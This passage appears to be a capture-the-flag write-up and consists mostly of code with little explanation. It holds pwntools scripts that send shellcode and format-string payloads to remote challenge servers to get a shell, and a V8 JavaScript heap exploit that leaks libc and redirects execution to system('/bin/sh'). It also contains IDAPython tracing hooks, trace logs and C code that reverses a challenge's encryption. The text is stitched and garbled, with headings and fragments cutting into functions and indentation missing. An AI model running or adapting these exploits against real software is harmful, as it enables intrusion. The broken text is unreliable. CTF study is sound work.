a7 = addrconv(0x4890e789)
a8 = addrconv(0x3148f631)
a9 = addrconv(0x050f90d2)
a10 = addrconv(0x58415841)
a11 = addrconv(0x58415841)
a12 = addrconv(0x000000c3)
sh = a1+a2+a3+a4+a5+a6+a7+a8+a9+a10+a11+a12
sh += addrconv(0x7172d489)*18
sh += addrconv(0x00000206)
sh += '\x00'
sh += addrconv(addr+0x88)
sh += '\x00'
sh += addrconv(addr)
sh += '\x00'
#sh +=(129)*addrconv(0x7172d421)
p.send(sh+(129-12-18-6)*addrconv(0x71729090))#nop nop
def start_prepare():
for i in range(0x40):
p.recvuntil('Miaow miaow miaow')
p.sendline(BEER)
p.recvuntil('@0x')
mmap_addr = int(p.recvline().strip(),16)
print hex(mmap_addr)
addrmap.append(mmap_addr)
prepare(mmap_addr)
#p.interactive()
while True:
try:
p = remote('pwnable.org', 31323)
start_prepare()
p.recvuntil('Miaow miaow miaow')
p.sendline(BEER)
p.recvuntil('@0x')
addr = int(p.recvline().strip(),16)
print hex(addr)
p.recvuntil('Miaow miaow miaow')
p.sendline(HORSE)
p.recvuntil('\xf0\x9f\x98\x93')
a1 = addrconv(0x49006a90)
a2 = addrconv(0x69622fb8)
a3 = addrconv(0x68732f6e)
a4 = addrconv(0x48504100)
a5 = addrconv(0x03bc0c7)
a6 = addrconv(0x48900000)
a7 = addrconv(0x4890e789)
a8 = addrconv(0x3148f631)
a9 = addrconv(0x050f90d2)
a10 = addrconv(0x58415841)
a11 = addrconv(0x58415841)
simple echoserver
a12 = addrconv(0x000000c3)
sh = a1+a2+a3+a4+a5+a6+a7+a8+a9+a10+a11+a12
sh += addrconv(0x7172d489)*18
sh += addrconv(0x00000206)
sh += '\x00'
sh += addrconv(addr+0x88)
sh += '\x00'
sh += addrconv(addr)
sh += '\x00'
#sh +=(129)*addrconv(0x7172d421)
p.send(sh+(129-12-18-6)*addrconv(0x7172d421))#and esp,edx
p.sendline('echo homura;cat flag;echo acdtql')
print p.recvuntil('acdtql')
except:
p.close()
continue
p.interactive()
from pwn import *
#r = remote("pwnable.org", 12020)
#r = process("./simple_echoserver/simple_echoserver")
DEBUG = 0
context.log_level = 'debug'
libc = ELF("./simple_echoserver/libc-2.27.so")
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]
call_welcome = 0x14c6
'''
42 canary
43 rbp of main
48 start main
27 stack
'''
def pwn():
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0x1415)
b *$rebase(0x14D6)
c
''')
Chromium RCE
r.recvuntil("Your name: ")
#name = '%p:%p:%p:%p:%p:%p:%p:%p'
name = '%'+str(0x20-0xd)+'c%7$hhn' + '%952277c%' + '*48$c%26$n'
r.sendline(name)
r.recvuntil("Your phone: ")
#pause()
r.sendline('1'*0x18)
recved = r.recvuntil("Now enjoy yourself!\n", timeout=480)
if recved == '':
r.close()
#sleep(10)
payload = '\x00'*0x18+'\xf0'
r.sendline(payload)
sleep(0.1)
r.sendline('~.')
sleep(0.1)
r.sendline('echo success')
r.sendline('cat flag')
print r.recv()
print r.recv()
r.interactive()
r.close()
if __name__ == "__main__":
#pwn()
while True:
#r = process("./simple_echoserver/simple_echoserver 2>/dev/null",
shell=True)
r = remote("pwnable.org", 12020)
try:
pwn()
except:
r.close()
let u64 = (buf) => {
let result = 0n;
for(var i = 7; i >= 0; i--) {
result <<= 8n;
result += BigInt(buf[i]);
}
return result;
};
Re
babymips
https://codescape.mips.com/components/toolchain/nanomips/2018.09-02/downloads.html
libobjdump+qemu+gdb
flag{}0x4200000
1-9switch0x400798
let p64 = (value) => {
let result = new Uint8Array(0x8);
for(var i = 0; i < 8; i++) {
result[i] = Number(value & 0xffn);
value >>= 8n;
}
return result;
};
let sb = new Uint8Array(0x4500);
let ss = new Uint8Array(0x4500);
%ArrayBufferDetach(sb.buffer);
ss.set(sb);
let st = new Uint8Array(0x4500);
let libc_leak = u64(ss.slice(8, 16)) - 0x3ebca0n;
console.log("Libc = " + libc_leak.toString(16));
let system = libc_leak + 0x4F440n;
let system_ss = p64(system);
let chunk_ptr = libc_leak + 0x3ED8D0n;
let chunk_ss = p64(chunk_ptr);
let cmd = new Uint8Array([47, 98, 105, 110, 47, 115, 104, 0]);
let vvv = new Uint8Array(0x100); vvv.buffer;
vvv.set(cmd);
let ab = new Uint8Array(0x40); ab.buffer;
let ac = new Uint8Array(0x40); ac.buffer;
%ArrayBufferDetach(ab.buffer);
%ArrayBufferDetach(ac.buffer);
ac.set(chunk_ss);
%SystemBreak();
let ad = new Uint8Array(0x40); ad.buffer;
let ae = new Uint8Array(0x40); ae.buffer;
ae.set(system_ss, 0x18);
%ArrayBufferDetach(vvv.buffer);
while(true) { }
(byte_400798[input - 97] / 4 + 1)
0x24
0x4200009*99
0x420054
Happy Tree
sub_4a0vm_dispatcher
Wow!
log
case 0:
result = v1 == v2; // make them equal
from __future__ import print_function
#---------------------------------------------------------------------
# Debug notification hook test
#
# This script start the executable and steps through the first five
# instructions. Each instruction is disassembled after execution.
#
# Original Author: Gergely Erdelyi <[email protected]>
#
# Maintained By: IDAPython Team
#
#---------------------------------------------------------------------
from idaapi import *
import idc_bc695
class MyDbgHook(DBG_Hooks):
""" Own debug hook class that implementd the callback functions """
def dbg_process_start(self, pid, tid, ea, name, base, size):
print("Process started, pid=%d tid=%d name=%s" % (pid, tid, name))
def dbg_process_exit(self, pid, tid, ea, code):
print("Process exited pid=%d tid=%d ea=0x%x code=%d" % (pid, tid, ea,
code))
def dbg_library_unload(self, pid, tid, ea, info):
print("Library unloaded: pid=%d tid=%d ea=0x%x info=%s" % (pid, tid,
ea, info))
return 0
def dbg_process_attach(self, pid, tid, ea, name, base, size):
print("Process attach pid=%d tid=%d ea=0x%x name=%s base=%x size=%x" %
(pid, tid, ea, name, base, size))
def dbg_process_detach(self, pid, tid, ea):
print("Process detached, pid=%d tid=%d ea=0x%x" % (pid, tid, ea))
return 0
def dbg_library_load(self, pid, tid, ea, name, base, size):
print("Library loaded: pid=%d tid=%d name=%s base=%x" % (pid, tid,
name, base))
def dbg_bpt(self, tid, ea):
#print("Break point at 0x%x pid=%d" % (ea, tid))
# return values:
# -1 - to display a breakpoint warning dialog
# if the process is suspended.
# 0 - to never display a breakpoint warning dialog.
# 1 - to always display a breakpoint warning dialog.
if ea % 0x1000 == 0x6B5:
print('switch case ', end='')
v = idc_bc695.GetRegValue('edx')
print((v),end=',')
v1 = idc_bc695.GetRegValue('edi')
v2 = idc_bc695.GetRegValue('eax')
print('v1=0x{:x},v2=0x{:x}'.format(v1,v2))
#continue_process()
if ea % 0x1000 == 0x6c8:
print('return result ', end='')
v = idc_bc695.GetRegValue('eax')
print(hex(v))
#continue_process()
if ea % 0x1000 == 0x6E0:
v1 = idc_bc695.GetRegValue('edi')
v2 = idc_bc695.GetRegValue('eax')
print('if v1('+hex(v1)+')==v2('+hex(v2)+')')
return 0
def dbg_suspend_process(self):
#print("Process suspended")
pass
def dbg_exception(self, pid, tid, ea, exc_code, exc_can_cont, exc_ea,
exc_info):
print("Exception: pid=%d tid=%d ea=0x%x exc_code=0x%x can_continue=%d
exc_ea=0x%x exc_info=%s" % (
pid, tid, ea, exc_code & idaapi.BADADDR, exc_can_cont, exc_ea,
exc_info))
# return values:
# -1 - to display an exception warning dialog
# if the process is suspended.
# 0 - to never display an exception warning dialog.
# 1 - to always display an exception warning dialog.
return 0
def dbg_trace(self, tid, ea):
print("Trace tid=%d ea=0x%x" % (tid, ea))
# return values:
# 1 - do not log this trace event;
# 0 - log it
return 0
def dbg_step_into(self):
print("Step into")
self.dbg_step_over()
def dbg_run_to(self, pid, tid=0, ea=0):
print("Runto: tid=%d" % tid)
idaapi.continue_process()
def dbg_step_over(self):
eip = get_reg_value("EIP")
print("0x%x %s" % (eip, GetDisasm(eip)))
self.steps += 1
if self.steps >= 5:
request_exit_process()
else:
request_step_over()
# Remove an existing debug hook
try:
if debughook:
print("Removing previous hook ...")
debughook.unhook()
except:
pass
# Install the debug hook
debughook = MyDbgHook()
debughook.hook()
debughook.steps = 0
# Stop at the entry point
ep = get_inf_attr(INF_START_IP)
request_run_to(ep)
# Step one instruction
request_step_over()
# Start debugging
run_requests()
input: 1123456789abcdef
if v1(0xd35cb5bfL)==v2(0xa25dc66aL)
if v1(0x4fe9499f)==v2(0xaa0036)
if v1(0xa00571aeL)==v2(0xc64e001aL)
if v1(0xdadb909dL)==v2(0x369d0854)
if v1(0x0)==v2(0xf15bcf8fL)
if v1(0x7f5acc5a)==v2(0x6bbe1965)
if v1(0x0)==v2(0x1966cd91)
if v1(0x7f5acc5a)==v2(0xd4c5fbfdL)
if v1(0x0)==v2(0xb04a9b1bL)
input: 0123456789abcdef
if v1(0x6492aa82)==v2(0xa25dc66aL)
if v1(0x4fe9499f)==v2(0xaa0036)
if v1(0xa00571aeL)==v2(0xc64e001aL)
if v1(0xdadb909dL)==v2(0x369d0854)
if v1(0x0)==v2(0xf15bcf8fL)
if v1(0x7f5acc5a)==v2(0x6bbe1965)
logv1input4bytes9len(input)==36
scanfflaginputv1v2
handlerv2
v1dwordlog
if v1(0x0)==v2(0x1966cd91)
if v1(0x7f5acc5a)==v2(0xd4c5fbfdL)
if v1(0x0)==v2(0xb04a9b1bL)
input: 0123456789abcdef0123456789abcdef0123
if v1(0x6492aa82)==v2(0xa25dc66aL)
if v1(0x4fe9499f)==v2(0xaa0036)
if v1(0xa00571aeL)==v2(0xc64e001aL)
if v1(0xdadb909dL)==v2(0x369d0854)
if v1(0x6492aa82)==v2(0xf15bcf8fL)
if v1(0x4fe9499f)==v2(0x6bbe1965)
if v1(0xa00571aeL)==v2(0x1966cd91)
if v1(0xdadb909dL)==v2(0xd4c5fbfdL)
if v1(0x6492aa82)==v2(0xb04a9b1bL)
input: flag{56789abcdef0123456789abcdef012}
if v1(0xa25dc66aL)==v2(0xa25dc66aL)
if v1(0x8a8cea8bL)==v2(0xaa0036)
if v1(0xa00571aeL)==v2(0xc64e001aL)
if v1(0xdadb909dL)==v2(0x369d0854)
if v1(0x6492aa82)==v2(0xf15bcf8fL)
if v1(0x4fe9499f)==v2(0x6bbe1965)
if v1(0xa00571aeL)==v2(0x1966cd91)
if v1(0xdadb909dL)==v2(0xd4c5fbfdL)
if v1(0x4936033f)==v2(0xb04a9b1bL)
switch case 9,v1=0x57abfdc0,v2=0x67616c66
return result 0x0
switch case 9,v1=0x57abfdb0,v2=0x0
return result 0x0
switch case 8,v1=0x0,v2=0x186a0
return result 0x1
switch case 1,v1=0x67616c66,v2=0xd
return result 0x2d8cc000
switch case 3,v1=0x67616c66,v2=0x2d8cc000
return result 0x4aedac66
switch case 1,v1=0x67616c66,v2=0xd
return result 0x2d8cc000
switch case 3,v1=0x67616c66,v2=0x2d8cc000
return result 0x4aedac66
switch case 2,v1=0x4aedac66,v2=0x11
return result 0x2576
switch case 3,v1=0x4aedac66,v2=0x2576
return result 0x4aed8910
switch case 1,v1=0x67616c66,v2=0xd
return result 0x2d8cc000
switch case 3,v1=0x67616c66,v2=0x2d8cc000
return result 0x4aedac66
switch case 1,v1=0x67616c66,v2=0xd
return result 0x2d8cc000
switch case 3,v1=0x67616c66,v2=0x2d8cc000
return result 0x4aedac66
switch case 2,v1=0x4aedac66,v2=0x11
return result 0x2576
switch case 3,v1=0x4aedac66,v2=0x2576
return result 0x4aed8910
switch case 1,v1=0x4aed8910,v2=0x5
return result 0x5db12200
switch case 3,v1=0x4aed8910,v2=0x5db12200
return result 0x175cab10
switch case 9,v1=0x57abfdc0,v2=0x175cab10
return result 0x0
switch case 4,v1=0x0,v2=0x1
return result 0x1
switch case 9,v1=0x57abfdb0,v2=0x1
return result 0x0
switch case 8,v1=0x1,v2=0x186a0
return result 0x1
switch case 1,v1=0x175cab10,v2=0xd
return result 0x95620000L
switch case 3,v1=0x175cab10,v2=0x95620000
return result 0x823eab10L
switch case 1,v1=0x175cab10,v2=0xd
return result 0x95620000L
switch case 3,v1=0x175cab10,v2=0x95620000
return result 0x823eab10L
switch case 2,v1=0x823eab10,v2=0x11
return result 0x411f
switch case 3,v1=0x823eab10,v2=0x411f
return result 0x823eea0fL
switch case 1,v1=0x175cab10,v2=0xd
return result 0x95620000L
switch case 3,v1=0x175cab10,v2=0x95620000
return result 0x823eab10L
switch case 1,v1=0x175cab10,v2=0xd
return result 0x95620000L
switch case 3,v1=0x175cab10,v2=0x95620000
return result 0x823eab10L
switch case 2,v1=0x823eab10,v2=0x11
return result 0x411f
switch case 3,v1=0x823eab10,v2=0x411f
return result 0x823eea0fL
switch case 1,v1=0x823eea0f,v2=0x5
return result 0x47dd41e0
switch case 3,v1=0x823eea0f,v2=0x47dd41e0
return result 0xc5e3abefL
switch case 9,v1=0x57abfdc0,v2=0xc5e3abef
return result 0x0
switch case 4,v1=0x1,v2=0x1
return result 0x2
switch case 9,v1=0x57abfdb0,v2=0x2
return result 0x0
switch case 8,v1=0x2,v2=0x186a0
return result 0x1
switch case 1,v1=0xc5e3abef,v2=0xd
return result 0x757de000
switch case 3,v1=0xc5e3abef,v2=0x757de000
return result 0xb09e4befL
switch case 1,v1=0xc5e3abef,v2=0xd
return result 0x757de000
switch case 3,v1=0xc5e3abef,v2=0x757de000
return result 0xb09e4befL
switch case 2,v1=0xb09e4bef,v2=0x11
return result 0x584f
switch case 3,v1=0xb09e4bef,v2=0x584f
return result 0xb09e13a0L
switch case 1,v1=0xc5e3abef,v2=0xd
return result 0x757de000
switch case 3,v1=0xc5e3abef,v2=0x757de000
return result 0xb09e4befL
switch case 1,v1=0xc5e3abef,v2=0xd
return result 0x757de000
switch case 3,v1=0xc5e3abef,v2=0x757de000
return result 0xb09e4befL
switch case 2,v1=0xb09e4bef,v2=0x11
return result 0x584f
switch case 3,v1=0xb09e4bef,v2=0x584f
return result 0xb09e13a0L
switch case 1,v1=0xb09e13a0,v2=0x5
return result 0x13c27400
switch case 3,v1=0xb09e13a0,v2=0x13c27400
return result 0xa35c67a0L
switch case 9,v1=0x57abfdc0,v2=0xa35c67a0
return result 0x0
switch case 4,v1=0x2,v2=0x1
return result 0x3
switch case 9,v1=0x57abfdb0,v2=0x3
return result 0x0
switch case 8,v1=0x3,v2=0x186a0
return result 0x1
switch case 1,v1=0xa35c67a0,v2=0xd
dword
return result 0x8cf40000L
switch case 3,v1=0xa35c67a0,v2=0x8cf40000
return result 0x2fa867a0
switch case 1,v1=0xa35c67a0,v2=0xd
return result 0x8cf40000L
switch case 3,v1=0xa35c67a0,v2=0x8cf40000
return result 0x2fa867a0
switch case 2,v1=0x2fa867a0,v2=0x11
return result 0x17d4
switch case 3,v1=0x2fa867a0,v2=0x17d4
return result 0x2fa87074
switch case 1,v1=0xa35c67a0,v2=0xd
return result 0x8cf40000L
switch case 3,v1=0xa35c67a0,v2=0x8cf40000
return result 0x2fa867a0
switch case 1,v1=0xa35c67a0,v2=0xd
return result 0x8cf40000L
switch case 3,v1=0xa35c67a0,v2=0x8cf40000
return result 0x2fa867a0
switch case 2,v1=0x2fa867a0,v2=0x11
return result 0x17d4
switch case 3,v1=0x2fa867a0,v2=0x17d4
return result 0x2fa87074
switch case 1,v1=0x2fa87074,v2=0x5
return result 0xf50e0e80L
switch case 3,v1=0x2fa87074,v2=0xf50e0e80
return result 0xdaa67ef4L
switch case 9,v1=0x57abfdc0,v2=0xdaa67ef4
return result 0x0
switch case 4,v1=0x3,v2=0x1
return result 0x4
switch case 9,v1=0x57abfdb0,v2=0x4
return result 0x0
switch case 8,v1=0x4,v2=0x186a0
return result 0x1
switch case 1,v1=0xdaa67ef4,v2=0xd
return result 0xcfde8000L
switch case 3,v1=0xdaa67ef4,v2=0xcfde8000
return result 0x1578fef4
switch case 1,v1=0xdaa67ef4,v2=0xd
#include<stdio.h>
#include <stdlib.h>
#include "ida.h"
int main() {
char flag[] = { 'f','l','a','g' };
dwordlog
uint32 init = *(uint32*)flag;
uint32 tmp1, tmp2, tmp3, tmp4, tmp5, tmp6;
for (int i = 0; i < 0x186a0; i++) {
tmp1 = init << 0xd;
tmp2 = tmp1 ^ init;
tmp3 = tmp2 >> 0x11;
tmp4 = tmp3 ^ tmp2;
tmp5 = tmp4 << 5;
init = tmp5 ^ tmp4;
}
printf("0x%x\n", init);
return 0;
}
switch case 6,v1=0x1,v2=0x2
return result 0x2
switch case 6,v1=0x2,v2=0x3
return result 0x6
switch case 4,v1=0x6,v2=0x1
return result 0x7
switch case 6,v1=0x7,v2=0x2
return result 0xe
switch case 6,v1=0xe,v2=0x3
return result 0x2a
switch case 4,v1=0x2a,v2=0x1
return result 0x2b
switch case 6,v1=0x2b,v2=0x2
return result 0x56
switch case 6,v1=0x56,v2=0x5
return result 0x1ae
switch case 4,v1=0x1ae,v2=0x1
return result 0x1af
switch case 6,v1=0x1af,v2=0x2
return result 0x35e
switch case 4,v1=0x35e,v2=0x1
return result 0x35f
switch case 6,v1=0x35f,v2=0x2
return result 0x6be
switch case 6,v1=0x6be,v2=0x3
return result 0x143a
switch case 6,v1=0x143a,v2=0x3
return result 0x3cae
switch case 6,v1=0x3cae,v2=0x3
return result 0xb60a
switch case 4,v1=0xb60a,v2=0x1
return result 0xb60b
switch case 6,v1=0xb60b,v2=0x2
return result 0x16c16
switch case 6,v1=0x16c16,v2=0x2
return result 0x2d82c
switch case 4,v1=0x2d82c,v2=0x1
return result 0x2d82d
switch case 6,v1=0x2d82d,v2=0x2
return result 0x5b05a
switch case 4,v1=0x5b05a,v2=0x1
return result 0x5b05b
switch case 6,v1=0x5b05b,v2=0x2
return result 0xb60b6
switch case 6,v1=0xb60b6,v2=0x2
return result 0x16c16c
switch case 6,v1=0x16c16c,v2=0x2
return result 0x2d82d8
switch case 6,v1=0x2d82d8,v2=0x2
return result 0x5b05b0
switch case 6,v1=0x5b05b0,v2=0x3
return result 0x1111110
switch case 4,v1=0x1111110,v2=0x1
return result 0x1111111
switch case 6,v1=0x1111111,v2=0x2
return result 0x2222222
switch case 6,v1=0x2222222,v2=0x2
return result 0x4444444
switch case 6,v1=0x4444444,v2=0x2
return result 0x8888888
switch case 6,v1=0x8888888,v2=0x2
return result 0x11111110
switch case 4,v1=0x11111110,v2=0x1
return result 0x11111111
switch case 6,v1=0x11111111,v2=0x2
return result 0x22222222
switch case 6,v1=0x22222222,v2=0x5
return result 0xaaaaaaaaL
switch case 3,v1=0x3736357b,v2=0xaaaaaaaa
return result 0x9d9c9fd1L
switch case 9,v1=0x5709bde0,v2=0x9d9c9fd1
return result 0x0
switch case 9,v1=0x5709bdd0,v2=0x0
return result 0x0
switch case 8,v1=0x0,v2=0x186a0
return result 0x1
switch case 1,v1=0x9d9c9fd1,v2=0xd
return result 0x93fa2000L
switch case 3,v1=0x9d9c9fd1,v2=0x93fa2000
return result 0xe66bfd1
switch case 1,v1=0x9d9c9fd1,v2=0xd
return result 0x93fa2000L
switch case 3,v1=0x9d9c9fd1,v2=0x93fa2000
return result 0xe66bfd1
switch case 2,v1=0xe66bfd1,v2=0x11
return result 0x733
switch case 3,v1=0xe66bfd1,v2=0x733
return result 0xe66b8e2
switch case 1,v1=0x9d9c9fd1,v2=0xd
return result 0x93fa2000L
switch case 3,v1=0x9d9c9fd1,v2=0x93fa2000
return result 0xe66bfd1
switch case 1,v1=0x9d9c9fd1,v2=0xd
return result 0x93fa2000L
switch case 3,v1=0x9d9c9fd1,v2=0x93fa2000
return result 0xe66bfd1
switch case 2,v1=0xe66bfd1,v2=0x11
return result 0x733
switch case 3,v1=0xe66bfd1,v2=0x733
return result 0xe66b8e2
switch case 1,v1=0xe66b8e2,v2=0x5
return result 0xccd71c40L
#include<stdio.h>
#include <stdlib.h>
#include "ida.h"
int main() {
char *flag = (char*)"0123456789abcdef0123456789abcdef0123";
for (int part = 0; part < 9; part++) {
uint32 init = *(uint32*)(flag + 0);
if (part % 2) {
init ^= 0xaaaaaaaa;
}
uint32 tmp1, tmp2, tmp3, tmp4, tmp5, tmp6;
for (int i = 0; i < 0x186a0; i++) {
tmp1 = init << 0xd;
tmp2 = tmp1 ^ init;
tmp3 = tmp2 >> 0x11;
tmp4 = tmp3 ^ tmp2;
tmp5 = tmp4 << 5;
init = tmp5 ^ tmp4;
}
printf("0x%x\n", init);
}
return 0;
}
#include<stdio.h>
#include <stdlib.h>
#include "ida.h"
void dec(uint32* dst) {
for (int part = 0; part < 9; part++) {
uint32 init = dst[part];
uint32 tmp1, tmp2, tmp3, tmp4, tmp5, tmp6;
for (int i = 0; i < 0x186a0; i++) {
tmp2 = (init << 0xd) ^ init;
tmp4 = (tmp2 >> 0x11) ^ tmp2;
init = (tmp4 << 5) ^ tmp4;
}
if (part % 2) {
init ^= 0xaaaaaaaa;
}
printf("0x%x\n", init);
}
}
uint32 trans1(uint32 inpt) {
return (inpt << 0xd) ^ inpt;
}
uint32 trans2(uint32 inpt) {
return (inpt >> 0x11) ^ inpt;
}
uint32 trans3(uint32 inpt) {
return (inpt << 5) ^ inpt;
}
uint32 detrans1(uint32 inpt) {
uint32 tmp,final=0,last=0;
tmp = inpt & 0b1111111111111;
last ^= tmp;
final |= tmp;
inpt >>= 0xd;
tmp = inpt & 0b1111111111111;
last ^= tmp;
final |= last << 0xd;
inpt >>= 0xd;
tmp = inpt & 0b1111111111111;
last ^= tmp;
final |= last << (0xd+ 0xd);
return final;
}
uint32 detrans2(uint32 inpt) {
uint32 tmp = inpt >> 15;
return (tmp>>2) ^ inpt;
}
uint32 detrans3(uint32 inpt) {
uint32 tmp, final = 0, last = 0;
tmp = inpt & 0b11111;
last ^= tmp;
final |= tmp;
inpt >>= 0x5;
tmp = inpt & 0b11111;
last ^= tmp;
final |= last << 0x5;
inpt >>= 0x5;
tmp = inpt & 0b11111;
last ^= tmp;
final |= last << 10;
inpt >>= 0x5;
tmp = inpt & 0b11111;
last ^= tmp;
final |= last << 15;
inpt >>= 0x5;
tmp = inpt & 0b11111;
last ^= tmp;
final |= last << 20;
inpt >>= 0x5;
tmp = inpt & 0b11111;
last ^= tmp;
final |= last << 25;
inpt >>= 0x5;
tmp = inpt & 0b11111;
last ^= tmp;
final |= last << 30;
return final;
}
void test() {
printf("0x%x\n", detrans1(trans1(0x12345678)));
printf("0x%x\n", detrans2(trans2(0x12345678)));
printf("0x%x\n", detrans3(trans3(0x12345678)));
}
J
jccint3jcc
int main() {
// char* flag = (char*)"0123456789abcdef0123456789abcdef0123";
uint32 dst[] = { 0xa25dc66a,0xaa0036 ,0xc64e001a ,0x369d0854 ,0xf15bcf8fL
,0x6bbe1965 ,0x1966cd91 ,0xd4c5fbfdL ,0xb04a9b1b };
uint32 src[10] = { 0 };
for (int part = 0; part < 9; part++) {
uint32 init = dst[part];
for (int i = 0; i < 0x186a0; i++) {
init = detrans1(detrans2(detrans3(init)));
}
if (part % 2) {
init ^= 0xaaaaaaaa;
}
src[part] = init;
}
printf("%s\n", src);
return 0;
}
tql = [
10486784,
20972929,
2178942465,
2200307393,
2246576002,
2250639427,
10488100,
10488256,
2189429346,
2210532130,
2252344291,
2255621283,
2157972868,
1082396128,
2221018978,
2271088675,
2281443555,
2157973956,
1084232448,
2233603170,
2292716835,
2157975059,
2157975284,
1169037536,
2304252307,
2308184659,
2157976372,
1084235200,
2312117875,
2316050227,
2157977620,
1084236480,
2156143475,
2322342963,
2157978900,
1255418048,
2333354355,
2335451699,
2157980436,
1084239600,
2339778467,
2157981828,
1290416352,
1084240304,
1084240704,
2346464931,
117455492,
1272986272,
2353806435,
130039668,
1280327568,
1084245232,
1084246640,
1084247120,
1084247600,
1084248080,
1084248848,
1084250192,
1084250448,
1084250976,
1084251792,
1084252688,
1084253952,
0
]
base_addr = 0x7FF638907970
patch_table = {
0: {
0: [0xeb],
subkeysIDEAXTEAkey
1: [0xe9]
},
1: {
0: [0x7e],
2: [0x0f, 0x8e]
},
2: {
0: [0x7f],
2: [0x0f, 0x8f]
},
3: {
0: [0x74],
2: [0x0f, 0x84]
},
4: {
0: [0x75],
2: [0x0f, 0x85]
},
}
for i in range(63):
a = tql[i]
jmp_type = a & 0xF
src_addr = (a >> 4) & 0x1FFF
inst_len = a >> 30
dst_addr = (a >> 17) & 0x1FFF
offset = dst_addr - src_addr
if (inst_len == 0):
offset = (offset - 2) & 0xFF
elif (inst_len == 1):
offset = (offset - 5) & 0xFFFFFFFF
else:
offset = (offset - 6) & 0xFFFFFFFF
cur = 0
for byte in patch_table[jmp_type][inst_len]:
idaapi.patch_byte(base_addr + src_addr + cur, byte)
cur += 1
if (inst_len == 0):
idaapi.patch_byte(base_addr + src_addr + cur, offset)
else:
for j in range(4):
idaapi.patch_byte(base_addr + src_addr + cur, offset & 0xFF)
cur += 1
offset >>= 8
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "ida.h"
typedef unsigned int uint32_t;
typedef int int32_t;
typedef unsigned short uint16_t;
typedef void (*idea_gen_key)(uint16_t[52], uint16_t[8]);
inline uint32 __ROL4__(uint32 value, int count) { return
__ROL__((uint32)value, count); }
unsigned char data[32] = { 0x0F, 0xDA, 0x04, 0xD8, 0xD0, 0xAB, 0xF4, 0xE5,
0x3F, 0xBD,
0x61, 0x7C, 0x6B, 0x13, 0x7C, 0xC4, 0xF9, 0xA0, 0x54, 0x33,
0xA7, 0x60, 0x50, 0xDA, 0x20, 0xE2, 0x7E, 0xE1, 0x13, 0x0B,
0xB2, 0x25 };
unsigned char g_keys[] = {
0x43, 0x54, 0x46, 0x54, 0x51, 0x5F, 0x41, 0x55, 0x53, 0x4C,
0x32, 0x5F, 0x32, 0x30, 0x5F, 0x30, 0xBE, 0x8C, 0xAA, 0xA2,
0x98, 0x82, 0xBE, 0xA6, 0x60, 0x64, 0x60, 0x64, 0xA8, 0xBE,
0xA8, 0x86, 0x05, 0x55, 0x4D, 0x31, 0xC8, 0x7C, 0xC8, 0xC0,
0x7D, 0xC1, 0x0D, 0x51, 0x19, 0x51, 0x45, 0x7D, 0xF9, 0x9A,
0x81, 0x91, 0x82, 0x91, 0xA2, 0xFA, 0xA2, 0x1A, 0xFA, 0x32,
0xAA, 0x8A, 0x62, 0x0A, 0x23, 0x03, 0xF5, 0x05, 0x35, 0x44,
0x65, 0x44, 0x15, 0xF5, 0x14, 0x54, 0x35, 0xC5, 0x23, 0xF3,
0x88, 0xEA, 0x88, 0x6A, 0xEA, 0xCB, 0xA8, 0x2A, 0x8A, 0x29,
0xE6, 0x6B, 0x06, 0x46, 0x0B, 0x46, 0x97, 0x11, 0x55, 0xD4,
0x53, 0x50, 0xD7, 0x14, 0x8B, 0x48, 0xAB, 0x2B, 0xAD, 0xAF,
/*
0x2A, 0x28, 0x06, 0x46, 0x0B, 0x46, 0x3B, 0xF7, 0x76, 0xD6,
0x58, 0xD5, 0x2F, 0xDD, 0x88, 0xEA, 0x88, 0x6A, 0xAC, 0xF7,
0xCB, 0x3A, 0xEC, 0xAB, 0x4A, 0x2B, 0x35, 0x44, 0x65, 0x44,
0x61, 0xB9, 0xDD, 0xFC, 0x9E, 0xF5, 0x0F, 0x65, 0xA2, 0x1A,
0xFA, 0x32, 0x4F, 0xC4, 0x7E, 0x6E, 0x7F, 0x6E, 0x3F, 0x12,
0x19, 0x51, 0x45, 0x7D, 0x6A, 0x47, 0x83, 0x3E, 0x38, 0x3F,
0xC5, 0x9A, 0x05, 0x55, 0x4D, 0x31, 0x11, 0x6C, 0x58, 0x41,
0xA0, 0x9B, 0xBD, 0x8C, 0x98, 0x82, 0xBE, 0xA6, 0xE7, 0x5A,
0x42, 0x73, 0xA1, 0xCF, 0x95, 0x43,
*/
//0x53, 0x4C, 0x32, 0x5F,
//0xD4, 0xBD, 0xBA, 0xAB, 0xAF, 0xA0, 0x21, 0x04
};
uint16_t mulMod65537(uint16_t a, uint16_t b)
{
uint32_t c;
uint16_t hi, lo;
if (a == 0)
return -b + 1;
if (b == 0)
return -a + 1;
c = (uint32_t)a * (uint32_t)b;
hi = c >> 16;
lo = c;
if (lo > hi)
return lo - hi;
return lo - hi + 1;
}
int modInverse(int a, int m)
{
int m0 = m, t, q;
int x0 = 0, x1 = 1;
if (m == 1)
return 0;
while (a > 1)
{
// q is quotient
q = a / m;
t = m;
// m is remainder now, process same as
// Euclid's algo
m = a % m;
a = t;
t = x0;
x0 = x1 - q * x0;
x1 = t;
}
// Make x1 positive
if (x1 < 0)
x1 += m0;
return x1;
}
void encrypt(uint16_t subKey[52], uint16_t key[8])
{
for (int i = 0; i < 52; i++) {
subKey[i] = ((uint16_t*)g_keys)[i];
}
return;
int i;
// Generate encryption keys
for (i = 0; i < 52; i++)
{
if (i < 8)
subKey[i] = key[i];
else if (i % 8 == 6)
subKey[i] = (subKey[i - 7] << 9) | (subKey[i - 14] >> 7);
else if (i % 8 == 7)
subKey[i] = (subKey[i - 15] << 9) | (subKey[i - 14] >> 7);
else
subKey[i] = (subKey[i - 7] << 9) | (subKey[i - 6] >> 7);
}
}
void decrypt(uint16_t subKey[52], uint16_t key[8])
{
int i;
uint16_t K[52];
// Compute encryption keys
encrypt(K, key);
// Generate dencryption keys
subKey[0] = modInverse(K[48], 65537);
subKey[1] = -K[49];
subKey[2] = -K[50];
subKey[3] = modInverse(K[51], 65537);
// printf("Keys: %04X %04X %04X %04X\n", subKey[0], subKey[1], subKey[2],
subKey[3]);
for (i = 4; i < 52; i += 6)
{
subKey[i + 0] = K[52 - i - 2];
subKey[i + 1] = K[52 - i - 1];
subKey[i + 2] = modInverse(K[52 - i - 6], 65537);
if (i == 46) {
subKey[i + 3] = -K[52 - i - 5];
subKey[i + 4] = -K[52 - i - 4];
}
else {
subKey[i + 3] = -K[52 - i - 4];
subKey[i + 4] = -K[52 - i - 5];
}
